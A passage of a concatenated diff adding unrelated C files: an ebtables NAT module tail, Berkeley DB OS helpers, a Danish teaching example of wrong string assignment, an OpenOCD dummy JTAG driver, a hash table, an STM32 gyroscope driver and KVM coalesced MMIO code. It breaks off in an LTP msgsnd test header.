THIS_MODULE, +}; + +static unsigned int ebt_nat_hook(void *priv, struct sk_buff *skb, + const struct nf_hook_state *state) +{ + return ebt_do_table(skb, state, priv); +} + +static const struct nf_hook_ops ebt_ops_nat[] = { + { + .hook = ebt_nat_hook, + .pf = NFPROTO_BRIDGE, + .hooknum = NF_BR_LOCAL_OUT, + .priority = NF_BR_PRI_NAT_DST_OTHER, + }, + { + .hook = ebt_nat_hook, + .pf = NFPROTO_BRIDGE, + .hooknum = NF_BR_POST_ROUTING, + .priority = NF_BR_PRI_NAT_SRC, + }, + { + .hook = ebt_nat_hook, + .pf = NFPROTO_BRIDGE, + .hooknum = NF_BR_PRE_ROUTING, + .priority = NF_BR_PRI_NAT_DST_BRIDGED, + }, +}; + +static int __net_init frame_nat_net_init(struct net *net) +{ + return ebt_register_table(net, &frame_nat, ebt_ops_nat); +} + +static void __net_exit frame_nat_net_pre_exit(struct net *net) +{ + ebt_unregister_table_pre_exit(net, "nat"); +} + +static void __net_exit frame_nat_net_exit(struct net *net) +{ + ebt_unregister_table(net, "nat"); +} + +static struct pernet_operations frame_nat_net_ops = { + .init = frame_nat_net_init, + .exit = frame_nat_net_exit, + .pre_exit = frame_nat_net_pre_exit, +}; + +static int __init ebtable_nat_init(void) +{ + return register_pernet_subsys(&frame_nat_net_ops); +} + +static void __exit ebtable_nat_fini(void) +{ + unregister_pernet_subsys(&frame_nat_net_ops); +} + +module_init(ebtable_nat_init); +module_exit(ebtable_nat_fini); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0141923_os_tmpdir.c b/pool/shard011/C/0141923_os_tmpdir.c new file mode 100644 index 0000000000000000000000000000000000000000..06d35ba93f2ccf077a4ce658e20fa35ff778e9a5 --- /dev/null +++ b/pool/shard011/C/0141923_os_tmpdir.c @@ -0,0 +1,141 @@ +/*- + * See the file LICENSE for redistribution information. + * + * Copyright (c) 1998, 2012 Oracle and/or its affiliates. All rights reserved. + * + * $Id$ + */ + +#include "db_config.h" + +#include "db_int.h" + +#ifdef HAVE_SYSTEM_INCLUDE_FILES +#ifdef macintosh +#include +#endif +#endif + +/* + * __os_tmpdir -- + * Set the temporary directory path. + * + * The order of items in the list structure and the order of checks in + * the environment are documented. + * + * PUBLIC: int __os_tmpdir __P((ENV *, u_int32_t)); + */ +int +__os_tmpdir(env, flags) + ENV *env; + u_int32_t flags; +{ + DB_ENV *dbenv; + int isdir, ret; + char *tdir, tdir_buf[DB_MAXPATHLEN]; + + dbenv = env->dbenv; + + /* Use the environment if it's permitted and initialized. */ + if (LF_ISSET(DB_USE_ENVIRON) || + (LF_ISSET(DB_USE_ENVIRON_ROOT) && __os_isroot())) { + /* POSIX: TMPDIR */ + tdir = tdir_buf; + if ((ret = __os_getenv( + env, "TMPDIR", &tdir, sizeof(tdir_buf))) != 0) + return (ret); + if (tdir != NULL && tdir[0] != '\0') + goto found; + + /* + * Windows: TEMP, TMP + */ + tdir = tdir_buf; + if ((ret = __os_getenv( + env, "TEMP", &tdir, sizeof(tdir_buf))) != 0) + return (ret); + if (tdir != NULL && tdir[0] != '\0') + goto found; + + tdir = tdir_buf; + if ((ret = __os_getenv( + env, "TMP", &tdir, sizeof(tdir_buf))) != 0) + return (ret); + if (tdir != NULL && tdir[0] != '\0') + goto found; + + /* Macintosh */ + tdir = tdir_buf; + if ((ret = __os_getenv( + env, "TempFolder", &tdir, sizeof(tdir_buf))) != 0) + return (ret); + + if (tdir != NULL && tdir[0] != '\0') +found: return (__os_strdup(env, tdir, &dbenv->db_tmp_dir)); + } + +#ifdef macintosh + /* Get the path to the temporary folder. */ + {FSSpec spec; + + if (!Special2FSSpec(kTemporaryFolderType, + kOnSystemDisk, 0, &spec)) + return (__os_strdup(env, + FSp2FullPath(&spec), &dbenv->db_tmp_dir)); + } +#endif +#ifdef DB_WIN32 + /* Get the path to the temporary directory. */ + { + _TCHAR tpath[DB_MAXPATHLEN + 1]; + char *path, *eos; + + if (GetTempPath(DB_MAXPATHLEN, tpath) > 2) { + FROM_TSTRING(env, tpath, path, ret); + if (ret != 0) + return (ret); + + eos = path + strlen(path) - 1; + if (*eos == '\\' || *eos == '/') + *eos = '\0'; + if (__os_exists(env, path, &isdir) == 0 && isdir) { + ret = __os_strdup(env, + path, &dbenv->db_tmp_dir); + FREE_STRING(env, path); + return (ret); + } + FREE_STRING(env, path); + } + } +#endif + + /* + * Step through the static list looking for a possibility. + * + * We don't use the obvious data structure because some C compilers + * (and I use the phrase loosely) don't like static data arrays. + */ +#define DB_TEMP_DIRECTORY(n) { \ + char *__p = n; \ + if (__os_exists(env, __p, &isdir) == 0 && isdir != 0) \ + return (__os_strdup(env, __p, &dbenv->db_tmp_dir)); \ + } +#ifdef DB_WIN32 + DB_TEMP_DIRECTORY("/temp"); + DB_TEMP_DIRECTORY("C:/temp"); + DB_TEMP_DIRECTORY("C:/tmp"); +#else + DB_TEMP_DIRECTORY("/var/tmp"); + DB_TEMP_DIRECTORY("/usr/tmp"); + DB_TEMP_DIRECTORY("/tmp"); +#if defined(ANDROID) || defined(DB_ANDROID) + DB_TEMP_DIRECTORY("/cache"); +#endif +#endif + + /* + * If we don't have any other place to store temporary files, store + * them in the current directory. + */ + return (__os_strdup(env, "", &dbenv->db_tmp_dir)); +} diff --git a/pool/shard011/C/0141924_3.c b/pool/shard011/C/0141924_3.c new file mode 100644 index 0000000000000000000000000000000000000000..a20d81f9ef0a163d070ffe371dc3c3509c2fcd4e --- /dev/null +++ b/pool/shard011/C/0141924_3.c @@ -0,0 +1,45 @@ +/* Illustrerer FORKERT haandtering af strenge i felter af en struct. + I tilfælde af at jeg har indlaest data i tekststrenge som skal kopieres */ + +#include +#include +#define MAX_LINE_LGT 100 +#define NAME_MAX 100 +#define TOWN_MAX 50 + +struct town{ + char name[NAME_MAX]; + char region[NAME_MAX]; + int population; +}; +typedef struct town town; + + +void read_towns(char *file_name, town towns[]){ + FILE *ifp; + char twn[NAME_MAX], reg[NAME_MAX]; + int pop, i = 0; + town local_town; + + ifp = fopen(file_name, "r"); + + while (fscanf(ifp, " BY: %s REG: %s # %d", twn, reg, &pop) == 3){ + + local_town.name = twn; // Et fristende forsoeg... + local_town.region = reg; // Men det virker ikke i C. + local_town.population = pop; // Compileren opdager det dog. + + towns[i] = local_town; + + i++; + } + + fclose(ifp); +} + +int main(void) { + town large_danish_towns[TOWN_MAX]; + read_towns("data.txt", large_danish_towns); + + return 0; +} diff --git a/pool/shard011/C/0141925_dummy.c b/pool/shard011/C/0141925_dummy.c new file mode 100644 index 0000000000000000000000000000000000000000..db1ba13a49f0870805a9afe467a693b6b31d5c32 --- /dev/null +++ b/pool/shard011/C/0141925_dummy.c @@ -0,0 +1,163 @@ +/*************************************************************************** + * Copyright (C) 2008 by Øyvind Harboe * + * oyvind.harboe@zylin.com * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program. If not, see . * + ***************************************************************************/ + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include "bitbang.h" +#include "hello.h" + +/* my private tap controller state, which tracks state for calling code */ +static tap_state_t dummy_state = TAP_RESET; + +static int dummy_clock; /* edge detector */ + +static int clock_count; /* count clocks in any stable state, only stable states */ + +static uint32_t dummy_data; + +static bb_value_t dummy_read(void) +{ + int data = 1 & dummy_data; + dummy_data = (dummy_data >> 1) | (1 << 31); + return data ? BB_HIGH : BB_LOW; +} + +static int dummy_write(int tck, int tms, int tdi) +{ + /* TAP standard: "state transitions occur on rising edge of clock" */ + if (tck != dummy_clock) { + if (tck) { + tap_state_t old_state = dummy_state; + dummy_state = tap_state_transition(old_state, tms); + + if (old_state != dummy_state) { + if (clock_count) { + LOG_DEBUG("dummy_tap: %d stable clocks", clock_count); + clock_count = 0; + } + + LOG_DEBUG("dummy_tap: %s", tap_state_name(dummy_state)); + +#if defined(DEBUG) + if (dummy_state == TAP_DRCAPTURE) + dummy_data = 0x01255043; +#endif + } else { + /* this is a stable state clock edge, no change of state here, + * simply increment clock_count for subsequent logging + */ + ++clock_count; + } + } + dummy_clock = tck; + } + return ERROR_OK; +} + +static int dummy_reset(int trst, int srst) +{ + dummy_clock = 0; + + if (trst || (srst && (jtag_get_reset_config() & RESET_SRST_PULLS_TRST))) + dummy_state = TAP_RESET; + + LOG_DEBUG("reset to: %s", tap_state_name(dummy_state)); + return ERROR_OK; +} + +static int dummy_led(int on) +{ + return ERROR_OK; +} + +static struct bitbang_interface dummy_bitbang = { + .read = &dummy_read, + .write = &dummy_write, + .reset = &dummy_reset, + .blink = &dummy_led, + }; + +static int dummy_khz(int khz, int *jtag_speed) +{ + if (khz == 0) + *jtag_speed = 0; + else + *jtag_speed = 64000/khz; + return ERROR_OK; +} + +static int dummy_speed_div(int speed, int *khz) +{ + if (speed == 0) + *khz = 0; + else + *khz = 64000/speed; + + return ERROR_OK; +} + +static int dummy_speed(int speed) +{ + return ERROR_OK; +} + +static int dummy_init(void) +{ + bitbang_interface = &dummy_bitbang; + + return ERROR_OK; +} + +static int dummy_quit(void) +{ + return ERROR_OK; +} + +static const struct command_registration dummy_command_handlers[] = { + { + .name = "dummy", + .mode = COMMAND_ANY, + .help = "dummy interface driver commands", + + .chain = hello_command_handlers, + }, + COMMAND_REGISTRATION_DONE, +}; + +/* The dummy driver is used to easily check the code path + * where the target is unresponsive. + */ +struct jtag_interface dummy_interface = { + .name = "dummy", + + .supported = DEBUG_CAP_TMS_SEQ, + .commands = dummy_command_handlers, + .transports = jtag_only, + + .execute_queue = &bitbang_execute_queue, + + .speed = &dummy_speed, + .khz = &dummy_khz, + .speed_div = &dummy_speed_div, + + .init = &dummy_init, + .quit = &dummy_quit, + }; diff --git a/pool/shard011/C/0141926_os_clock.c b/pool/shard011/C/0141926_os_clock.c new file mode 100644 index 0000000000000000000000000000000000000000..d9fefbd9df1c45efde15550b9840232bd5a5ecea --- /dev/null +++ b/pool/shard011/C/0141926_os_clock.c @@ -0,0 +1,74 @@ +/*- + * See the file LICENSE for redistribution information. + * + * Copyright (c) 2001, 2017 Oracle and/or its affiliates. All rights reserved. + * + * $Id$ + */ +#include "db_config.h" +#include "db_int.h" +#pragma hdrstop +/* + * __os_gettime -- + * Return the current time-of-day clock in seconds and nanoseconds. + */ +void __os_gettime(const ENV *env, db_timespec * tp, int monotonic) +{ + if(monotonic) { + /* + * The elapsed time is stored as a DWORD value, so time wraps + * around to zero if the system runs for 49.7 days. Initialize + * a base value with 50 days worth of seconds, and add 50 more + * days every time the counter wraps. That ensures we always + * move forward. + * + * It's possible this code could race, but the danger is we + * would increment base_seconds more than once per wrap and + * eventually overflow, which is a pretty remote possibility. + */ +#define TIMER_WRAP_SECONDS (50 * 24 * 60 * 60) + static DWORD last_ticks; + static time_t base_seconds; + DWORD ticks; + + ticks = GetTickCount(); + if(ticks < last_ticks) + base_seconds += TIMER_WRAP_SECONDS; + last_ticks = ticks; + tp->tv_sec = base_seconds + (uint32)(ticks / 1000); + tp->tv_nsec = (uint32)((ticks % 1000) * NS_PER_MS); + } + else { +#ifdef DB_WINCE + FILETIME ft; + LARGE_INTEGER large_int; + LONGLONG ns_since_epoch, utc1970; + SYSTEMTIME st; + + (void)GetSystemTime(&st); + (void)SystemTimeToFileTime(&st, &ft); + + /* + * A FILETIME expresses time as 100 nanosecond chunks from + * Jan 1, 1601; convert to a timespec where the time is + * is expressed in seconds and nanoseconds from Jan 1, 1970. + * + * UTC_1970 is the number of 100-nano-second chunks from + * 1601 to 1970. + */ +#define NS100_PER_SEC (NS_PER_SEC / 100) +#define UTC_1970 (((LONGLONG)27111902 << 32) + (LONGLONG)3577643008) + memcpy(&large_int, &ft, sizeof(large_int)); + utc1970 = UTC_1970; + ns_since_epoch = (large_int.QuadPart - utc1970); + tp->tv_sec = (time_t)(ns_since_epoch / NS100_PER_SEC); + tp->tv_nsec = (long)(ns_since_epoch % NS100_PER_SEC); +#else + struct _timeb now; + + _ftime(&now); + tp->tv_sec = now.time; + tp->tv_nsec = now.millitm * NS_PER_MS; +#endif + } +} diff --git a/pool/shard011/C/0141927_hash.c b/pool/shard011/C/0141927_hash.c new file mode 100644 index 0000000000000000000000000000000000000000..9510d6ff6aa75a2dc2aebc5f170c0f38a022ef42 --- /dev/null +++ b/pool/shard011/C/0141927_hash.c @@ -0,0 +1,224 @@ +#include +#include +#include "hash.h" + +/** + * Default hash funtion (djb algorithm). + * @param [in] key The key. + * @param [in,out] klen The length of the key. See ::hash_func_t. + * @return The calculated hash value. + */ +unsigned int hash_func_default(const char *key, unsigned int *klen) +{ + unsigned int value = 0; + if (*klen == HASH_KEY_STRING) { + const char *str = key; + while (*str != '\0') { + value += value * 33 + *str++; + } + *klen = str - key; + } else { + unsigned int len = *klen; + while (len-- > 0) { + value += value * 33 + *key++; + } + } + return value; +} + +/** + * Create a new hash table. + * @param [out] ht Hash table to create. + * @param [in] max Max slot number (0-based). Set to default if 0. + * @param [in] func hash function. Use default if NULL. + * @return 0 on success, -1 on error. + * @note max must be 2^n - 1, n = 1, 2, 3, ... + */ +int hash_create(hash_t *ht, unsigned int max, hash_func_t func) +{ + if (max == 0) + max = HASH_DEFAULT_MAX; + size_t bytes = sizeof(hash_entry_t *) * (max + 1); + hash_entry_t **array = malloc(bytes); + if (array == NULL) + return -1; + memset(array, 0, bytes); + + ht->count = 0; + ht->max = max; + ht->array = array; + ht->free = NULL; + if (func == NULL) + ht->func = hash_func_default; + else + ht->func = func; + return 0; +} + +/** + * Expand an existing hash table. + * @param [in, out] ht Hash table to be expanded. + * @return 0 on success, -1 on error. + */ +static int hash_expand(hash_t *ht) +{ + unsigned int max = 2 * ht->max + 1; + size_t bytes = sizeof(hash_entry_t *) * (max + 1); + hash_entry_t **array = malloc(bytes); + if (array == NULL) + return -1; + memset(array, 0, bytes); + + unsigned int i; + for (i = 0; i <= ht->max; ++i) { + hash_entry_t *entry = ht->array[i]; + while (entry) { + hash_entry_t **ptr = array + (entry->hash & max); + hash_entry_t *next = entry->next; + entry->next = *ptr; + *ptr = entry; + entry = next; + } + } + ht->max = max; + free(ht->array); + ht->array = array; + return 0; +} + +/** + * Find an entry in a hash table. + * @param [in,out] ht The hash table. + * @param [in] key The key. + * @param [in] klen The length of the key. See ::hash_func_t. + * @param [in] val if there is no entry associated with the key and val is not + * NULL, the function will allocate a new entry to store the key-value + * pair. + * @return Pointer to pointer to the entry if found or new entry allocated, + * pointer to NULL otherwise. + */ +static hash_entry_t **find_entry(hash_t *ht, const char *key, + unsigned int klen, const void *val) +{ + unsigned int hash = (*ht->func)(key, &klen); + hash_entry_t **ptr = ht->array + (hash & ht->max), *entry; + for (entry = *ptr; entry; ptr = &entry->next, entry = *ptr) { + if (entry->klen == klen && entry->hash == hash + && memcmp(entry->key, key, klen) == 0) + break; + } + if (entry || !val) + return ptr; + + if ((entry = ht->free) != NULL) + ht->free = entry->next; + else + entry = malloc(sizeof(*entry)); + if (!entry) + return NULL; + entry->next = NULL; + entry->key = key; + entry->klen = klen; + entry->hash = hash; + entry->val = val; + *ptr = entry; + ht->count++; + return ptr; +} + +/** + * Put a key-value pair into a hash table. + * @param [in,out] ht The hash table. + * @param [in] key The key. + * @param [in] klen The length of the key. See ::hash_func_t. + * @param [in] val The value associated with the key. Delete the pair if NULL. + * @return 0 on success, -1 on error. + */ +int hash_set(hash_t *ht, const char *key, unsigned int klen, const void *val) +{ + hash_entry_t **ptr = find_entry(ht, key, klen, val); + if (val) { + if (!*ptr) + return -1; + (*ptr)->val = val; + if (ht->count > ht->max) { + return hash_expand(ht); + } + } else { + if (*ptr) { + // deletion. + hash_entry_t *old = *ptr; + *ptr = old->next; + old->next = ht->free; + ht->free = old; + ht->count--; + } + } + return 0; +} + +/** + * Look up the value associated with a key in a hash table. + * @param [in] ht The hash table. + * @param [in] key The key. + * @param [in] klen The length of the key. See ::hash_func_t. + * @return The value associated with the key, NULL if not found. + */ +void *hash_get(hash_t *ht, const void *key, unsigned int klen) +{ + hash_entry_t **ptr = find_entry(ht, key, klen, NULL); + if (*ptr) + return (void *)((*ptr)->val); + return NULL; +} + +/** + * Destroy a hash table. + * @param [in,out] ht The hash table. + */ +void hash_destroy(hash_t *ht) +{ + unsigned int i; + hash_entry_t *entry, *next; + for (i = 0; i < ht->max; ++i) { + entry = ht->array[i]; + while (entry) { + next = entry->next; + free(entry); + entry = next; + } + } + entry = ht->free; + while (entry) { + next = entry->next; + free(entry); + entry = next; + } + free(ht->array); +} + +hash_iter_t *hash_next(hash_iter_t *iter) +{ + iter->entry = iter->next; + while (!iter->entry) { + if (iter->index > iter->ht->max) { + free(iter); + return NULL; + } + iter->entry = iter->ht->array[iter->index++]; + } + iter->next = iter->entry->next; + return iter; +} + +hash_iter_t *hash_begin(const hash_t *ht) +{ + hash_iter_t *iter = malloc(sizeof(*iter)); + if (!iter) + return NULL; + iter->ht = ht; + iter->index = 0; + iter->entry = NULL; + iter->next = NULL; + return hash_next(iter); +} diff --git a/pool/shard011/C/0141928_stm32f072b_discovery_gyroscope.c b/pool/shard011/C/0141928_stm32f072b_discovery_gyroscope.c new file mode 100644 index 0000000000000000000000000000000000000000..7bc27c7bbc2dd56c1916897034b0a0afd8859135 --- /dev/null +++ b/pool/shard011/C/0141928_stm32f072b_discovery_gyroscope.c @@ -0,0 +1,229 @@ +/** + ****************************************************************************** + * @file stm32f072b_discovery_gyroscope.c + * @author MCD Application Team + * @brief This file provides a set of functions needed to manage the l3gd20 + * MEMS accelerometer available on STM32F072B-Discovery Kit. + ****************************************************************************** + * @attention + * + *

© COPYRIGHT(c) 2016 STMicroelectronics

+ * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * 3. Neither the name of STMicroelectronics nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************** + */ +/* Includes ------------------------------------------------------------------*/ +#include "stm32f072b_discovery_gyroscope.h" + +/** @addtogroup BSP + * @{ + */ + +/** @addtogroup STM32F072B_DISCOVERY + * @{ + */ + +/** @addtogroup STM32F072B_DISCOVERY_GYRO + * @{ + */ + +/** @defgroup STM32F072B_DISCOVERY_GYRO_Private_Variables Private Variables + * @{ + */ +static GYRO_DrvTypeDef *GyroscopeDrv; + +/** + * @} + */ + +/** @addtogroup STM32F072B_DISCOVERY_GYRO_Exported_Functions + * @{ + */ + +/** + * @brief Set GYRO Initialization. + * @retval GYRO_OK if no problem during initialization + */ +uint8_t BSP_GYRO_Init(void) +{ + uint8_t ret = GYRO_ERROR; + uint16_t ctrl = 0x0000; + GYRO_InitTypeDef L3GD20_InitStructure; + GYRO_FilterConfigTypeDef L3GD20_FilterStructure={0,0}; + + if((L3gd20Drv.ReadID() == I_AM_L3GD20) || (L3gd20Drv.ReadID() == I_AM_L3GD20_TR)) + { + /* Initialize the gyroscope driver structure */ + GyroscopeDrv = &L3gd20Drv; + + /* Configure Mems : data rate, power mode, full scale and axes */ + L3GD20_InitStructure.Power_Mode = L3GD20_MODE_ACTIVE; + L3GD20_InitStructure.Output_DataRate = L3GD20_OUTPUT_DATARATE_1; + L3GD20_InitStructure.Axes_Enable = L3GD20_AXES_ENABLE; + L3GD20_InitStructure.Band_Width = L3GD20_BANDWIDTH_4; + L3GD20_InitStructure.BlockData_Update = L3GD20_BlockDataUpdate_Continous; + L3GD20_InitStructure.Endianness = L3GD20_BLE_LSB; + L3GD20_InitStructure.Full_Scale = L3GD20_FULLSCALE_500; + + /* Configure MEMS: data rate, power mode, full scale and axes */ + ctrl = (uint16_t) (L3GD20_InitStructure.Power_Mode | L3GD20_InitStructure.Output_DataRate | \ + L3GD20_InitStructure.Axes_Enable | L3GD20_InitStructure.Band_Width); + + ctrl |= (uint16_t) ((L3GD20_InitStructure.BlockData_Update | L3GD20_InitStructure.Endianness | \ + L3GD20_InitStructure.Full_Scale) << 8); + + /* L3gd20 Init */ + GyroscopeDrv->Init(ctrl); + + L3GD20_FilterStructure.HighPassFilter_Mode_Selection =L3GD20_HPM_NORMAL_MODE_RES; + L3GD20_FilterStructure.HighPassFilter_CutOff_Frequency = L3GD20_HPFCF_0; + + ctrl = (uint8_t) ((L3GD20_FilterStructure.HighPassFilter_Mode_Selection |\ + L3GD20_FilterStructure.HighPassFilter_CutOff_Frequency)); + + GyroscopeDrv->FilterConfig(ctrl) ; + + GyroscopeDrv->FilterCmd(L3GD20_HIGHPASSFILTER_ENABLE); + + ret = GYRO_OK; + } + else + { + ret = GYRO_ERROR; + } + + return ret; +} + +/** + * @brief Read ID of Gyroscope component + * @retval ID + */ +uint8_t BSP_GYRO_ReadID(void) +{ + uint8_t id = 0x00; + + if(GyroscopeDrv->ReadID != NULL) + { + id = GyroscopeDrv->ReadID(); + } + return id; +} + +/** + * @brief Reboot memory content of GYRO + * @retval None + */ +void BSP_GYRO_Reset(void) +{ + if(GyroscopeDrv->Reset != NULL) + { + GyroscopeDrv->Reset(); + } +} + +/** + * @brief Configure INT1 interrupt + * @param pIntConfig: pointer to a L3GD20_InterruptConfig_TypeDef + * structure that contains the configuration setting for the L3GD20 Interrupt. + * @retval None + */ +void BSP_GYRO_ITConfig(GYRO_InterruptConfigTypeDef *pIntConfig) +{ +uint16_t interruptconfig = 0x0000; + + if(GyroscopeDrv->ConfigIT != NULL) + { + /* Configure latch Interrupt request and axe interrupts */ + interruptconfig |= ((uint8_t)(pIntConfig->Latch_Request| \ + pIntConfig->Interrupt_Axes) << 8); + + interruptconfig |= (uint8_t)(pIntConfig->Interrupt_ActiveEdge); + + GyroscopeDrv->ConfigIT(interruptconfig); + } +} + +/** + * @brief Enable INT1 or INT2 interrupt + * @param IntPin: Interrupt pin + * This parameter can be: + * @arg L3GD20_INT1 + * @arg L3GD20_INT2 + * @retval None + */ +void BSP_GYRO_EnableIT(uint8_t IntPin) +{ + if(GyroscopeDrv->EnableIT != NULL) + { + GyroscopeDrv->EnableIT(IntPin); + } +} + +/** + * @brief Disable INT1 or INT2 interrupt + * @param IntPin: Interrupt pin + * This parameter can be: + * @arg L3GD20_INT1 + * @arg L3GD20_INT2 + * @retval None + */ +void BSP_GYRO_DisableIT(uint8_t IntPin) +{ + if(GyroscopeDrv->DisableIT != NULL) + { + GyroscopeDrv->DisableIT(IntPin); + } +} + +/** + * @brief Get XYZ angular acceleration + * @param pfData: pointer on floating array + * @retval None + */ +void BSP_GYRO_GetXYZ(float* pfData) +{ + if(GyroscopeDrv->GetXYZ!= NULL) + { + GyroscopeDrv->GetXYZ(pfData); + } +} + +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ + +/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/pool/shard011/C/0141929_coalesced_mmio.c b/pool/shard011/C/0141929_coalesced_mmio.c new file mode 100644 index 0000000000000000000000000000000000000000..7d298c37d084b0e7a8191aab924ba815cfc3bfe6 --- /dev/null +++ b/pool/shard011/C/0141929_coalesced_mmio.c @@ -0,0 +1,166 @@ +/* + * KVM coalesced MMIO + * + * Copyright (c) 2008 Bull S.A.S. + * + * Author: Laurent Vivier + * + */ + +#include "iodev.h" + +#include +#include + +#include "coalesced_mmio.h" + +static inline struct kvm_coalesced_mmio_dev *to_mmio(struct kvm_io_device *dev) +{ + return container_of(dev, struct kvm_coalesced_mmio_dev, dev); +} + +static int coalesced_mmio_in_range(struct kvm_coalesced_mmio_dev *dev, + gpa_t addr, int len) +{ + struct kvm_coalesced_mmio_zone *zone; + struct kvm_coalesced_mmio_ring *ring; + unsigned avail; + int i; + + /* Are we able to batch it ? */ + + /* last is the first free entry + * check if we don't meet the first used entry + * there is always one unused entry in the buffer + */ + ring = dev->kvm->coalesced_mmio_ring; + avail = (ring->first - ring->last - 1) % KVM_COALESCED_MMIO_MAX; + if (avail < KVM_MAX_VCPU_COUNT) { + /* full */ + return 0; + } + + /* is it in a batchable area ? */ + + for (i = 0; i < dev->nb_zones; i++) { + zone = &dev->zone[i]; + + /* (addr,len) is fully included in + * (zone->addr, zone->size) + */ + + if (zone->addr <= addr && + addr + len <= zone->addr + zone->size) + return 1; + } + return 0; +} + +static int coalesced_mmio_write(struct kvm_io_device *this, + gpa_t addr, int len, const void *val) +{ + struct kvm_coalesced_mmio_dev *dev = to_mmio(this); + struct kvm_coalesced_mmio_ring *ring = dev->kvm->coalesced_mmio_ring; + if (!coalesced_mmio_in_range(dev, addr, len)) + return -EOPNOTSUPP; + + spin_lock(&dev->lock); + + /* copy data in first free entry of the ring */ + + ring->coalesced_mmio[ring->last].phys_addr = addr; + ring->coalesced_mmio[ring->last].len = len; + memcpy(ring->coalesced_mmio[ring->last].data, val, len); + smp_wmb(); + ring->last = (ring->last + 1) % KVM_COALESCED_MMIO_MAX; + spin_unlock(&dev->lock); + return 0; +} + +static void coalesced_mmio_destructor(struct kvm_io_device *this) +{ + struct kvm_coalesced_mmio_dev *dev = to_mmio(this); + + kfree(dev); +} + +static const struct kvm_io_device_ops coalesced_mmio_ops = { + .write = coalesced_mmio_write, + .destructor = coalesced_mmio_destructor, +}; + +int kvm_coalesced_mmio_init(struct kvm *kvm) +{ + struct kvm_coalesced_mmio_dev *dev; + int ret; + + dev = kzalloc(sizeof(struct kvm_coalesced_mmio_dev), GFP_KERNEL); + if (!dev) + return -ENOMEM; + spin_lock_init(&dev->lock); + kvm_iodevice_init(&dev->dev, &coalesced_mmio_ops); + dev->kvm = kvm; + kvm->coalesced_mmio_dev = dev; + + mutex_lock(&kvm->slots_lock); + ret = kvm_io_bus_register_dev(kvm, KVM_MMIO_BUS, &dev->dev); + mutex_unlock(&kvm->slots_lock); + if (ret < 0) + kfree(dev); + + return ret; +} + +int kvm_vm_ioctl_register_coalesced_mmio(struct kvm *kvm, + struct kvm_coalesced_mmio_zone *zone) +{ + struct kvm_coalesced_mmio_dev *dev = kvm->coalesced_mmio_dev; + + if (dev == NULL) + return -EINVAL; + + mutex_lock(&kvm->slots_lock); + if (dev->nb_zones >= KVM_COALESCED_MMIO_ZONE_MAX) { + mutex_unlock(&kvm->slots_lock); + return -ENOBUFS; + } + + dev->zone[dev->nb_zones] = *zone; + dev->nb_zones++; + + mutex_unlock(&kvm->slots_lock); + return 0; +} + +int kvm_vm_ioctl_unregister_coalesced_mmio(struct kvm *kvm, + struct kvm_coalesced_mmio_zone *zone) +{ + int i; + struct kvm_coalesced_mmio_dev *dev = kvm->coalesced_mmio_dev; + struct kvm_coalesced_mmio_zone *z; + + if (dev == NULL) + return -EINVAL; + + mutex_lock(&kvm->slots_lock); + + i = dev->nb_zones; + while(i) { + z = &dev->zone[i - 1]; + + /* unregister all zones + * included in (zone->addr, zone->size) + */ + + if (zone->addr <= z->addr && + z->addr + z->size <= zone->addr + zone->size) { + dev->nb_zones--; + *z = dev->zone[dev->nb_zones]; + } + i--; + } + + mutex_unlock(&kvm->slots_lock); + + return 0; +} diff --git a/pool/shard011/C/0141930_msgsnd01.c b/pool/shard011/C/0141930_msgsnd01.c new file mode 100644 index 0000000000000000000000000000000000000000..6b542be17c42e4faec30f1fc665c1e4a780e79ef --- /dev/null +++ b/pool/shard011/C/0141930_msgsnd01.c @@ -0,0 +1,185 @@ +/* + * + * Copyright (c) International Business Machines Corp., 2001 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See + * the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* + * NAME + * msgsnd01.c + * + * DESCRIPTION + * msgsnd01 - test that msgsnd() enqueues a message correctly + * + * ALGORITHM + * create a message queue + * initialize a message buffer with a known message and type + * loop if that option was specified + * enqueue the message + * check the return code + * if failure, issue a FAIL message. + * otherwise, + * if doing functionality testing + * stat the message queue + * check for # of bytes = MSGSIZE and # of messages = 1 + * if correct, + * issue a 